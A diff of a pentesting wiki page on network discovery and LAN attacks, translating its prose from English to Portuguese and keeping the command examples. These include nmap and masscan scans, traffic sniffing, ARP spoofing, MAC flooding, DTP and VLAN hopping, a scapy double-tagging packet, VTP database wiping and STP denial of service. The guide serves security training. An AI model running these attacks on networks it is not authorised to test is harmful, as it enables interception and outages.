 masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
 ```
+Você também pode realizar esta etapa com `nmap`, mas é mais lento e de certa forma `nmap` tem problemas para identificar hosts ativos.
 
-You could also perform this step with `nmap`, but it slower and somewhat `nmap`has problems identifying hosts up.
-
-### HTTP Port Discovery
-
-This is just a TCP port discovery useful when you want to **focus on discovering HTTP** **services**:
+### Descoberta de Porta HTTP
 
+Esta é apenas uma descoberta de porta TCP útil quando você deseja **focar na descoberta de serviços HTTP**:
 ```bash
 masscan -p80,443,8000-8100,8443 199.66.11.0/24
 ```
+### Descoberta de Porta UDP
 
-### UDP Port Discovery
-
-You could also try to check for some **UDP port open** to decide if you should **pay more attention** to a **host.** As UDP services usually **don't respond** with **any data** to a regular empty UDP probe packet it is difficult to say if a port is being filtered or open. The easiest way to decide this is to send a packet related to the running service, and as you don't know which service is running, you should try the most probable based on the port number:
-
+Você também pode tentar verificar se há alguma **porta UDP aberta** para decidir se deve **prestar mais atenção** a um **host.** Como os serviços UDP geralmente **não respondem** com **nenhum dado** a um pacote de sondagem UDP vazio, é difícil dizer se uma porta está sendo filtrada ou aberta. A maneira mais fácil de decidir isso é enviar um pacote relacionado ao serviço em execução, e como você não sabe qual serviço está em execução, deve tentar o mais provável com base no número da porta:
 ```bash
 nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
 # The -sV will make nmap test each possible known UDP service packet
 # The "--version-intensity 0" will make nmap only test the most probable
 ```
+A linha do nmap proposta anteriormente testará as **1000 principais portas UDP** em cada host dentro do intervalo **/24**, mas mesmo isso levará **>20min**. Se precisar de **resultados mais rápidos**, você pode usar [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Isso enviará esses **probes UDP** para suas **portas esperadas** (para um intervalo /24, isso levará apenas 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
 
-The nmap line proposed before will test the **top 1000 UDP ports** in every host inside the **/24** range but even only this will take **>20min**. If need **fastest results** you can use [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` This will send these **UDP probes** to their **expected port** (for a /24 range this will just take 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
-
-### SCTP Port Discovery
-
+### Descoberta de Portas SCTP
 ```bash
 #Probably useless, but it's pretty fast, why not try it?
 nmap -T4 -sY -n --open -Pn 
 ```
-
 ## Pentesting Wifi
 
-Here you can find a nice guide of all the well known Wifi attacks at the time of the writing:
+Aqui você pode encontrar um bom guia de todos os ataques Wifi bem conhecidos na época da escrita:
 
 {{#ref}}
 ../pentesting-wifi/
 {{#endref}}
 
-## Discovering hosts from the inside
+## Descobrindo hosts de dentro
 
-If you are inside the network one of the first things you will want to do is to **discover other hosts**. Depending on **how much noise** you can/want to do, different actions could be performed:
+Se você estiver dentro da rede, uma das primeiras coisas que você vai querer fazer é **descobrir outros hosts**. Dependendo de **quanto ruído** você pode/deseja fazer, diferentes ações podem ser realizadas:
 
-### Passive
-
-You can use these tools to passively discover hosts inside a connected network:
+### Passivo
 
+Você pode usar essas ferramentas para descobrir hosts de forma passiva dentro de uma rede conectada:
 ```bash
 netdiscover -p
 p0f -i eth0 -p -o /tmp/p0f.log
@@ -87,12 +73,10 @@ net.recon on/off #Read local ARP cache periodically
 net.show
 set net.show.meta true #more info
 ```
+### Ativo
 
-### Active
-
-Note that the techniques commented in [_**Discovering hosts from the outside**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) can be also **applied here**.\
-But, as you are in the **same network** as the other hosts, you can do **more things**:
-
+Note que as técnicas comentadas em [_**Descobrindo hosts do lado de fora**_](./#discovering-hosts-from-the-outside) (_Descoberta de Portas TCP/HTTP/UDP/SCTP_) também podem ser **aplicadas aqui**.\
+Mas, como você está na **mesma rede** que os outros hosts, você pode fazer **mais coisas**:
 ```bash
 #ARP discovery
 nmap -sn  #ARP Requests (Discover IPs)
@@ -112,39 +96,35 @@ set net.probe.throttle 10 #10ms between probes sent (default=10)
 #IPv6
 alive6  # Send a pingv6 to multicast.
 ```
-
 ### Active ICMP
 
-Note that the techniques commented in _Discovering hosts from the outside_ ([_**ICMP**_](./#icmp)) can be also **applied here**.\
-But, as you are in the **same network** as the other hosts, you can do **more things**:
+Note que as técnicas comentadas em _Descobrindo hosts do exterior_ ([_**ICMP**_](./#icmp)) também podem ser **aplicadas aqui**.\
+Mas, como você está na **mesma rede** que os outros hosts, você pode fazer **mais coisas**:
 
-- If you **ping** a **subnet broadcast address** the ping should be arrive to **each host** and they could **respond** to **you**: `ping -b 10.10.5.255`
-- Pinging the **network broadcast address** you could even find hosts inside **other subnets**: `ping -b 255.255.255.255`
-- Use the `-PE`, `-PP`, `-PM` flags of `nmap`to perform host discovery sending respectively **ICMPv4 echo**, **timestamp**, and **subnet mask requests:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
+- Se você **pingar** um **endereço de broadcast de sub-rede**, o ping deve chegar a **cada host** e eles podem **responder** a **você**: `ping -b 10.10.5.255`
+- Pingar o **endereço de broadcast da rede** pode até encontrar hosts dentro de **outras sub-redes**: `ping -b 255.255.255.255`
+- Use as flags `-PE`, `-PP`, `-PM` do `nmap` para realizar a descoberta de hosts enviando respectivamente **ICMPv4 echo**, **timestamp** e **solicitações de máscara de sub-rede:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
 
 ### **Wake On Lan**
 
-Wake On Lan is used to **turn on** computers through a **network message**. The magic packet used to turn on the computer is only a packet where a **MAC Dst** is provided and then it is **repeated 16 times** inside the same paket.\
-Then this kind of packets are usually sent in an **ethernet 0x0842** or in a **UDP packet to port 9**.\
-If **no \[MAC]** is provided, the packet is sent to **broadcast ethernet** (and the broadcast MAC will be the one being repeated).
-
+Wake On Lan é usado para **ligar** computadores através de uma **mensagem de rede**. O pacote mágico usado para ligar o computador é apenas um pacote onde um **MAC Dst** é fornecido e então é **repetido 16 vezes** dentro do mesmo pacote.\
+Então, esse tipo de pacotes geralmente é enviado em um **ethernet 0x0842** ou em um **pacote UDP para a porta 9**.\
+Se **nenhum \[MAC]** for fornecido, o pacote é enviado para **broadcast ethernet** (e o MAC de broadcast será o que está sendo repetido).
 ```bash
 # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
 wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
 wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
 ```
+## Escaneando Hosts
 
-## Scanning Hosts
-
-Once you have discovered all the IPs (external or internal) you want to scan in depth, different actions can be performed.
+Uma vez que você tenha descoberto todos os IPs (externos ou internos) que deseja escanear em profundidade, diferentes ações podem ser realizadas.
 
 ### TCP
 
-- **Open** port: _SYN --> SYN/ACK --> RST_
-- **Closed** port: _SYN --> RST/ACK_
-- **Filtered** port: _SYN --> \[NO RESPONSE]_
-- **Filtered** port: _SYN --> ICMP message_
-
+- **Porta** aberta: _SYN --> SYN/ACK --> RST_
+- **Porta** fechada: _SYN --> RST/ACK_
+- **Porta** filtrada: _SYN --> \[SEM RESPOSTA]_
+- **Porta** filtrada: _SYN --> mensagem ICMP_
 ```bash
 # Nmap fast scan for the most 1000tcp ports used
 nmap -sV -sC -O -T4 -n -Pn -oA fastscan 
@@ -156,16 +136,14 @@ nmap -sV -sC -O -p- -n -Pn -oA fullscan 
 #Bettercap Scan
 syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
 ```
-
 ### UDP
 
-There are 2 options to scan an UDP port:
+Existem 2 opções para escanear uma porta UDP:
 
-- Send a **UDP packet** and check for the response _**ICMP unreachable**_ if the port is **closed** (in several cases ICMP will be **filtered** so you won't receive any information inf the port is close or open).
-- Send a **formatted datagrams** to elicit a response from a **service** (e.g., DNS, DHCP, TFTP, and others, as listed in _nmap-payloads_). If you receive a **response**, then, the port is **open**.
-
-**Nmap** will **mix both** options using "-sV" (UDP scans are very slow), but notice that UDP scans are slower than TCP scans:
+- Enviar um **pacote UDP** e verificar a resposta _**ICMP unreachable**_ se a porta estiver **fechada** (em vários casos, o ICMP será **filtrado**, então você não receberá nenhuma informação se a porta estiver fechada ou aberta).
+- Enviar **datagramas formatados** para provocar uma resposta de um **serviço** (por exemplo, DNS, DHCP, TFTP e outros, conforme listado em _nmap-payloads_). Se você receber uma **resposta**, então a porta está **aberta**.
 
+**Nmap** irá **misturar ambas** as opções usando "-sV" (os escaneamentos UDP são muito lentos), mas observe que os escaneamentos UDP são mais lentos do que os escaneamentos TCP:
 ```bash
 # Check if any of the most common udp services is running
 udp-proto-scanner.pl 
@@ -177,38 +155,34 @@ nmap -sU -sV -sC -n -F -T4 
 nmap -sU -sV --version-intensity 0 -n -T4 
 # You could use nmap to test all the UDP ports, but that will take a lot of time
 ```
-
 ### SCTP Scan
 
-**SCTP (Stream Control Transmission Protocol)** is designed to be used alongside **TCP (Transmission Control Protocol)** and **UDP (User Datagram Protocol)**. Its main purpose is to facilitate the transport of telephony data over IP networks, mirroring many of the reliability features found in **Signaling System 7 (SS7)**. **SCTP** is a core component of the **SIGTRAN** protocol family, which aims to transport SS7 signals over IP networks.
+**SCTP (Stream Control Transmission Protocol)** é projetado para ser usado junto com **TCP (Transmission Control Protocol)** e **UDP (User Datagram Protocol)**. Seu principal objetivo é facilitar o transporte de dados de telefonia sobre redes IP, espelhando muitos dos recursos de confiabilidade encontrados no **Signaling System 7 (SS7)**. **SCTP** é um componente central da família de protocolos **SIGTRAN**, que visa transportar sinais SS7 sobre redes IP.
 
-The support for **SCTP** is provided by various operating systems, such as **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, and **VxWorks**, indicating its broad acceptance and utility in the field of telecommunication and networking.
-
-Two different scans for SCTP are offered by nmap: _-sY_ and _-sZ_
+O suporte para **SCTP** é fornecido por vários sistemas operacionais, como **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** e **VxWorks**, indicando sua ampla aceitação e utilidade no campo de telecomunicações e redes.
 
+Dois tipos diferentes de varreduras para SCTP são oferecidos pelo nmap: _-sY_ e _-sZ_
 ```bash
 # Nmap fast SCTP scan
 nmap -T4 -sY -n -oA SCTFastScan 
 # Nmap all SCTP scan
 nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan 
 ```
-
-### IDS and IPS evasion
+### Evasão de IDS e IPS
 
 {{#ref}}
 ids-evasion.md
 {{#endref}}
 
-### **More nmap options**
+### **Mais opções do nmap**
 
 {{#ref}}
 nmap-summary-esp.md
 {{#endref}}
 
-### Revealing Internal IP Addresses
-
-**Misconfigured routers, firewalls, and network devices** sometimes respond to network probes using **nonpublic source addresses**. **tcpdump** can be utilized to identify packets received from private addresses during testing. Specifically, on Kali Linux, packets can be captured on the **eth2 interface**, which is accessible from the public Internet. It's important to note that if your setup is behind a NAT or a Firewall, such packets are likely to be filtered out.
+### Revelando Endereços IP Internos
 
+**Roteadores, firewalls e dispositivos de rede mal configurados** às vezes respondem a sondagens de rede usando **endereços de origem não públicos**. **tcpdump** pode ser utilizado para identificar pacotes recebidos de endereços privados durante os testes. Especificamente, no Kali Linux, pacotes podem ser capturados na **interface eth2**, que é acessível a partir da Internet pública. É importante notar que, se sua configuração estiver atrás de um NAT ou um Firewall, tais pacotes provavelmente serão filtrados.
 ```bash
 tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@@ -216,30 +190,24 @@ listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
 IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
 IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
 ```
-
 ## Sniffing
 
-Sniffing you can learn details of IP ranges, subnet sizes, MAC addresses, and hostnames by reviewing captured frames and packets. If the network is misconfigured or switching fabric under stress, attackers can capture sensitive material via passive network sniffing.
+Com o Sniffing, você pode aprender detalhes sobre faixas de IP, tamanhos de sub-rede, endereços MAC e nomes de host ao revisar quadros e pacotes capturados. Se a rede estiver mal configurada ou se o fabric de comutação estiver sob estresse, os atacantes podem capturar material sensível por meio de sniffing de rede passivo.
 
-If a switched Ethernet network is configured properly, you will only see broadcast frames and material destined for your MAC address.
+Se uma rede Ethernet comutada estiver configurada corretamente, você verá apenas quadros de broadcast e material destinado ao seu endereço MAC.
 
 ### TCPDump
-
 ```bash
 sudo tcpdump -i  udp port 53 #Listen to DNS request to discover what is searching the host
 tcpdump -i  icmp #Listen to icmp packets
 sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
 ```
-
-One can, also, capture packets from a remote machine over an SSH session with Wireshark as the GUI in realtime.
-
+Também é possível capturar pacotes de uma máquina remota através de uma sessão SSH com o Wireshark como interface gráfica em tempo real.
 ```
 ssh user@ tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
 ssh @ tcpdump -i  -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
 ```
-
 ### Bettercap
-
 ```bash
 net.sniff on
 net.sniff stats
@@ -248,23 +216,21 @@ set net.sniff.local  #If true it will consider packets from/to this computer, ot
 set net.sniff.filter #BPF filter for the sniffer (default=not arp)
 set net.sniff.regexp #If set only packets matching this regex will be considered
 ```
-
 ### Wireshark
 
-Obviously.
+Obviamente.
 
-### Capturing credentials
+### Capturando credenciais
 
-You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface.
+Você pode usar ferramentas como [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) para analisar credenciais de um pcap ou de uma interface ao vivo.
 
-## LAN attacks
+## Ataques LAN
 
-### ARP spoofing
+### Spoofing ARP
 
-ARP Spoofing consist on sending gratuitous ARPResponses to indicate that the IP of a machine has the MAC of our device. Then, the victim will change the ARP table and will contact our machine every time it wants to contact the IP spoofed.
+O Spoofing ARP consiste em enviar ARPResponses gratuitos para indicar que o IP de uma máquina possui o MAC do nosso dispositivo. Assim, a vítima mudará a tabela ARP e entrará em contato com nossa máquina toda vez que quiser contatar o IP spoofed.
 
 #### **Bettercap**
-
 ```bash
 arp.spoof on
 set arp.spoof.targets  #Specific targets to ARP spoof (default=)
@@ -272,37 +238,31 @@ set arp.spoof.whitelist #Specific targets to skip while spoofing
 set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
 set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
 ```
-
 #### **Arpspoof**
-
 ```bash
 echo 1 > /proc/sys/net/ipv4/ip_forward
 arpspoof -t 192.168.1.1 192.168.1.2
 arpspoof -t 192.168.1.2 192.168.1.1
 ```
-
 ### MAC Flooding - CAM overflow
 
-Overflow the switch’s CAM table sending a lot of packets with different source mac address. When the CAM table is full the switch start behaving like a hub (broadcasting all the traffic).
-
+Transbordar a tabela CAM do switch enviando muitos pacotes com diferentes endereços MAC de origem. Quando a tabela CAM está cheia, o switch começa a se comportar como um hub (broadcasting todo o tráfego).
 ```bash
 macof -i 
 ```
+Em switches modernos, essa vulnerabilidade foi corrigida.
 
-In modern switches this vulnerability has been fixed.
+### Ataques 802.1Q VLAN / DTP
 
-### 802.1Q VLAN / DTP Attacks
+#### Trunking Dinâmico
 
-#### Dynamic Trunking
+O **Dynamic Trunking Protocol (DTP)** é projetado como um protocolo de camada de enlace para facilitar um sistema automático de trunking, permitindo que os switches selecionem automaticamente portas para o modo trunk (Trunk) ou modo não-trunk. A implementação do **DTP** é frequentemente vista como indicativa de um design de rede subótimo, ressaltando a importância de configurar trunks manualmente apenas onde necessário e garantir a documentação adequada.
 
-The **Dynamic Trunking Protocol (DTP)** is designed as a link layer protocol to facilitate an automatic system for trunking, allowing switches to automatically select ports for trunk mode (Trunk) or non-trunk mode. The deployment of **DTP** is often seen as indicative of suboptimal network design, underscoring the importance of manually configuring trunks only where necessary and ensuring proper documentation.
+Por padrão, as portas dos switches são configuradas para operar no modo Dynamic Auto, o que significa que estão prontas para iniciar o trunking se solicitadas por um switch vizinho. Uma preocupação de segurança surge quando um pentester ou atacante se conecta ao switch e envia um quadro DTP Desirable, forçando a porta a entrar no modo trunk. Essa ação permite que o atacante enumere VLANs por meio da análise de quadros STP e contorne a segmentação de VLAN ao configurar interfaces virtuais.
 
-By default, switch ports are set to operate in Dynamic Auto mode, meaning they are ready to initiate trunking if prompted by a neighboring switch. A security concern arises when a pentester or attacker connects to the switch and sends a DTP Desirable frame, compelling the port to enter trunk mode. This action enables the attacker to enumerate VLANs through STP frame analysis and circumvent VLAN segmentation by setting up virtual interfaces.
-
-The presence of DTP in many switches by default can be exploited by adversaries to mimic a switch's behavior, thereby gaining access to traffic across all VLANs. The script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) is utilized to monitor an interface, revealing whether a switch is in Default, Trunk, Dynamic, Auto, or Access mode—the latter being the only configuration immune to VLAN hopping attacks. This tool assesses the switch's vulnerability status.
-
-Should network vulnerability be identified, the _**Yersinia**_ tool can be employed to "enable trunking" via the DTP protocol, allowing for the observation of packets from all VLANs.
+A presença do DTP em muitos switches por padrão pode ser explorada por adversários para imitar o comportamento de um switch, obtendo assim acesso ao tráfego em todas as VLANs. O script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) é utilizado para monitorar uma interface, revelando se um switch está no modo Default, Trunk, Dynamic, Auto ou Access—sendo este último a única configuração imune a ataques de VLAN hopping. Esta ferramenta avalia o status de vulnerabilidade do switch.
 
+Caso uma vulnerabilidade de rede seja identificada, a ferramenta _**Yersinia**_ pode ser empregada para "habilitar trunking" via o protocolo DTP, permitindo a observação de pacotes de todas as VLANs.
 ```bash
 apt-get install yersinia #Installation
 sudo apt install kali-linux-large #Another way to install it in Kali
@@ -313,26 +273,22 @@ yersinia -I #Interactive mode
 
 yersinia -G #For graphic mode
 ```
-
 ![](<../../images/image (269).png>)
 
-To enumerate the VLANs it's also possible to generate the DTP Desirable frame with the script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. D**o not interrupt the script under any circumstances. It injects DTP Desirable every three seconds. **The dynamically created trunk channels on the switch only live for five minutes. After five minutes, the trunk falls off.**
-
+Para enumerar as VLANs, também é possível gerar o quadro DTP Desirable com o script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. N**ão interrompa o script sob nenhuma circunstância. Ele injeta DTP Desirable a cada três segundos. **Os canais de trunk criados dinamicamente no switch vivem apenas por cinco minutos. Após cinco minutos, o trunk cai.**
 ```
 sudo python3 DTPHijacking.py --interface eth0
 ```
+Gostaria de ressaltar que **Access/Desirable (0x03)** indica que o quadro DTP é do tipo Desirable, o que informa à porta para mudar para o modo Trunk. E **802.1Q/802.1Q (0xa5)** indica o tipo de encapsulamento **802.1Q**.
 
-I would like to point out that **Access/Desirable (0x03)** indicates that the DTP frame is of the Desirable type, which tells the port to switch to Trunk mode. And **802.1Q/802.1Q (0xa5**) indicates the **802.1Q** encapsulation type.
-
-By analyzing the STP frames, **we learn about the existence of VLAN 30 and VLAN 60.**
+Ao analisar os quadros STP, **aprendemos sobre a existência da VLAN 30 e da VLAN 60.**
 
 

 
-#### Attacking specific VLANs
-
-Once you known VLAN IDs and IPs values, you can **configure a virtual interface to attack a specific VLAN**.\
-If DHCP is not available, then use _ifconfig_ to set a static IP address.
+#### Atacando VLANs específicas
 
+Uma vez que você conhece os IDs de VLAN e os valores de IP, você pode **configurar uma interface virtual para atacar uma VLAN específica**.\
+Se o DHCP não estiver disponível, use _ifconfig_ para definir um endereço IP estático.
 ```
 root@kali:~# modprobe 8021q
 root@kali:~# vconfig add eth1 250
@@ -341,13 +297,13 @@ root@kali:~# dhclient eth1.250
 Reloading /etc/samba/smb.conf: smbd only.
 root@kali:~# ifconfig eth1.250
 eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
-          inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
-          inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
-          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
-          RX packets:19 errors:0 dropped:0 overruns:0 frame:0
-          TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
-          collisions:0 txqueuelen:0
-          RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)
+inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
+inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
+UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
+RX packets:19 errors:0 dropped:0 overruns:0 frame:0
+TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
+collisions:0 txqueuelen:0
+RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)
 
 root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
 ```
@@ -365,175 +321,155 @@ sudo vconfig add eth0 30
 sudo ip link set eth0.30 up
 sudo dhclient -v eth0.30
 ```
-
 #### Automatic VLAN Hopper
 
-The discussed attack of **Dynamic Trunking and creating virtual interfaces an discovering hosts inside** other VLANs are **automatically performed** by the tool: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
+O ataque discutido de **Dynamic Trunking e criação de interfaces virtuais para descobrir hosts dentro** de outras VLANs é **realizado automaticamente** pela ferramenta: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
 
 #### Double Tagging
 
-If an attacker knows the value of the **MAC, IP and VLAN ID of the victim host**, he could try to **double tag a frame** with its designated VLAN and the VLAN of the victim and send a packet. As the **victim won't be able to connect back** with the attacker, so the **best option for the attacker is communicate via UDP** to protocols that can perform some interesting actions (like SNMP).
+Se um atacante souber o valor do **MAC, IP e VLAN ID do host vítima**, ele pode tentar **double tag um frame** com sua VLAN designada e a VLAN da vítima e enviar um pacote. Como a **vítima não conseguirá se conectar de volta** com o atacante, a **melhor opção para o atacante é se comunicar via UDP** com protocolos que podem realizar algumas ações interessantes (como SNMP).
 
-Another option for the attacker is to launch a **TCP port scan spoofing an IP controlled by the attacker and accessible by the victim** (probably through internet). Then, the attacker could sniff in the second host owned by him if it receives some packets from the victim.
+Outra opção para o atacante é lançar um **TCP port scan spoofing um IP controlado pelo atacante e acessível pela vítima** (provavelmente através da internet). Então, o atacante poderia sniffar no segundo host de sua propriedade se ele receber alguns pacotes da vítima.
 
 ![](<../../images/image (190).png>)
 
-To perform this attack you could use scapy: `pip install scapy`
-
+Para realizar este ataque, você pode usar scapy: `pip install scapy`
 ```python
 from scapy.all import *
 # Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
 packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
 sendp(packet)
 ```
+#### Bypass de Segmentação Lateral de VLAN 
 
-#### Lateral VLAN Segmentation Bypass 
-
-If you have **access to a switch that you are directly connected to**, you have the ability to **bypass VLAN segmentation** within the network. Simply **switch the port to trunk mode** (otherwise known as trunk), create virtual interfaces with the IDs of the target VLANs, and configure an IP address. You can try requesting the address dynamically (DHCP) or you can configure it statically. It depends on the case.
+Se você tiver **acesso a um switch ao qual está diretamente conectado**, você tem a capacidade de **contornar a segmentação de VLAN** dentro da rede. Basta **mudar a porta para o modo trunk** (também conhecido como trunk), criar interfaces virtuais com os IDs das VLANs de destino e configurar um endereço IP. Você pode tentar solicitar o endereço dinamicamente (DHCP) ou pode configurá-lo estaticamente. Depende do caso.
 
 {{#ref}}
 lateral-vlan-segmentation-bypass.md
 {{#endref}}
 
-#### Layer 3 Private VLAN Bypass
+#### Bypass de VLAN Privada de Camada 3
 
-In certain environments, such as guest wireless networks, **port isolation (also known as private VLAN)** settings are implemented to prevent clients connected to a wireless access point from directly communicating with each other. However, a technique has been identified that can circumvent these isolation measures. This technique exploits either the lack of network ACLs or their improper configuration, enabling IP packets to be routed through a router to reach another client on the same network.
+Em certos ambientes, como redes sem fio para convidados, as configurações de **isolamento de porta (também conhecido como VLAN privada)** são implementadas para impedir que clientes conectados a um ponto de acesso sem fio se comuniquem diretamente entre si. No entanto, uma técnica foi identificada que pode contornar essas medidas de isolamento. Essa técnica explora a falta de ACLs de rede ou sua configuração inadequada, permitindo que pacotes IP sejam roteados através de um roteador para alcançar outro cliente na mesma rede.
 
-The attack is executed by creating a **packet that carries the IP address of the destination client but with the router's MAC address**. This causes the router to mistakenly forward the packet to the target client. This approach is similar to that used in Double Tagging Attacks, where the ability to control a host accessible to the victim is used to exploit the security flaw.
+O ataque é executado criando um **pacote que carrega o endereço IP do cliente de destino, mas com o endereço MAC do roteador**. Isso faz com que o roteador encaminhe erroneamente o pacote para o cliente alvo. Essa abordagem é semelhante à usada em Ataques de Double Tagging, onde a capacidade de controlar um host acessível à vítima é usada para explorar a falha de segurança.
 
-**Key Steps of the Attack:**
+**Passos Chave do Ataque:**
 
-1. **Crafting a Packet:** A packet is specially crafted to include the target client's IP address but with the router's MAC address.
-2. **Exploiting Router Behavior:** The crafted packet is sent up to the router, which, due to the configuration, redirects the packet to the target client, bypassing the isolation provided by private VLAN settings.
+1. **Elaboração de um Pacote:** Um pacote é especialmente elaborado para incluir o endereço IP do cliente alvo, mas com o endereço MAC do roteador.
+2. **Exploração do Comportamento do Roteador:** O pacote elaborado é enviado ao roteador, que, devido à configuração, redireciona o pacote para o cliente alvo, contornando o isolamento fornecido pelas configurações de VLAN privada.
 
-### VTP Attacks
+### Ataques VTP
 
-VTP (VLAN Trunking Protocol) centralizes VLAN management. It utilizes revision numbers to maintain VLAN database integrity; any modification increments this number. Switches adopt configurations with higher revision numbers, updating their own VLAN databases.
+O VTP (VLAN Trunking Protocol) centraliza a gestão de VLAN. Ele utiliza números de revisão para manter a integridade do banco de dados de VLAN; qualquer modificação incrementa esse número. Os switches adotam configurações com números de revisão mais altos, atualizando seus próprios bancos de dados de VLAN.
 
-#### VTP Domain Roles
+#### Funções do Domínio VTP
 
-- **VTP Server:** Manages VLANs—creates, deletes, modifies. It broadcasts VTP announcements to domain members.
-- **VTP Client:** Receives VTP announcements to synchronize its VLAN database. This role is restricted from local VLAN configuration modifications.
-- **VTP Transparent:** Doesn't engage in VTP updates but forwards VTP announcements. Unaffected by VTP attacks, it maintains a constant revision number of zero.
+- **Servidor VTP:** Gerencia VLANs—cria, exclui, modifica. Ele transmite anúncios VTP para os membros do domínio.
+- **Cliente VTP:** Recebe anúncios VTP para sincronizar seu banco de dados de VLAN. Esse papel é restrito de modificações de configuração de VLAN local.
+- **Transparente VTP:** Não participa de atualizações VTP, mas encaminha anúncios VTP. Não é afetado por ataques VTP, mantendo um número de revisão constante de zero.
 
-#### VTP Advertisement Types
+#### Tipos de Anúncios VTP
 
-- **Summary Advertisement:** Broadcasted by the VTP server every 300 seconds, carrying essential domain information.
-- **Subset Advertisement:** Sent following VLAN configuration changes.
-- **Advertisement Request:** Issued by a VTP client to request a Summary Advertisement, typically in response to detecting a higher configuration revision number.
+- **Anúncio Resumido:** Transmitido pelo servidor VTP a cada 300 segundos, carregando informações essenciais do domínio.
+- **Anúncio de Subconjunto:** Enviado após alterações na configuração da VLAN.
+- **Solicitação de Anúncio:** Emitida por um cliente VTP para solicitar um Anúncio Resumido, tipicamente em resposta à detecção de um número de revisão de configuração mais alto.
 
-VTP vulnerabilities are exploitable exclusively via trunk ports as VTP announcements circulate solely through them. Post-DTP attack scenarios might pivot towards VTP. Tools like Yersinia can facilitate VTP attacks, aiming to wipe out the VLAN database, effectively disrupting the network.
-
-Note: This discussion pertains to VTP version 1 (VTPv1).
+As vulnerabilidades do VTP são exploráveis exclusivamente através de portas trunk, uma vez que os anúncios VTP circulam apenas por elas. Cenários pós-ataque DTP podem se voltar para o VTP. Ferramentas como Yersinia podem facilitar ataques VTP, visando eliminar o banco de dados de VLAN, efetivamente interrompendo a rede.
 
+Nota: Esta discussão refere-se à versão 1 do VTP (VTPv1).
 ````bash
 %% yersinia -G # Launch Yersinia in graphical mode ```
 ````
+No modo gráfico do Yersinia, escolha a opção de deletar todos os VTP vlans para purgar o banco de dados VLAN.
 
-In Yersinia's graphical mode, choose the deleting all VTP vlans option to purge the VLAN database.
+### Ataques STP
 
-### STP Attacks
-
-**If you cannot capture BPDU frames on your interfaces, it is unlikely that you will succeed in an STP attack.**
+**Se você não consegue capturar frames BPDU em suas interfaces, é improvável que você tenha sucesso em um ataque STP.**
 
 #### **STP BPDU DoS**
 
-Sending a lot of BPDUs TCP (Topology Change Notification) or Conf (the BPDUs that are sent when the topology is created) the switches are overloaded and stop working correctly.
-
+Enviando muitos BPDUs TCP (Notificação de Mudança de Topologia) ou Conf (os BPDUs que são enviados quando a topologia é criada), os switches ficam sobrecarregados e param de funcionar corretamente.
 ```bash
 yersinia stp -attack 2
 yersinia stp -attack 3
 #Use -M to disable MAC spoofing
 ```
